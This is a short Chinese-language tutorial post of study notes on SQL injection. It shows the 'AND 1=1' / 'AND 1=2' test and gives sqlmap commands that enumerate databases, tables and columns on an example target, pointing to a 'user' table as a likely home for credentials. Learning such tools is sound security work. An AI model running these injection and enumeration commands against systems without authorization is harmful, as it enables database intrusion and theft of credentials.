SQLmap注入攻击学习笔记

发布于 2022-10-25  113 次阅读


  • 系统环境:Kali-Linux-2021.2

判断是否存在注入点

假设,一条网页的链接为http://192.168.3.1/index.php?id=8,可以清楚看到链接后边有一串形如?id=8的字符。 这时只要在链接后边加上AND+1=1,如果页面显示正常没有出现报错,则再将AND+1=1替换为AND+1=2,此时如果页面出现报错,可以判断存在注入攻击点

http://192.168.3.1/index.php?id=8+AND+1=1
http://192.168.3.1/index.php?id=8+AND+1=2

使用sqlmap工具进行扫描

枚举出 DBMS 所有数据库

首先先用-u发起对目标链接的请求,结合使用 --dbs 枚举出 DBMS 所有数据库*命令。

sqlmap -u http://192.168.3.1/index.php?id=8 --dbs

我用我的一个子站进行测试,发现sqlmap枚举出了两个数据库。

选择一个数据库进行注入 查看表单
使用-D加数据库名来指定目标库,结合--tables枚举出DBMS数据库中的所有表*命令。

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] --tables (请将括号一同替换)

我们以521_iboy66lee_cl数据库为例。

可以看到该数据库下有一个名为user的表单,我们可以猜测该表单下有用户名的密码一类的关键信息

枚举出表单下所有的列

使用-T指定要枚举的 DBMS 数据表,再用 --columns枚举出 DBMS 数据库中的所有列*,

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] -T [表名] --columns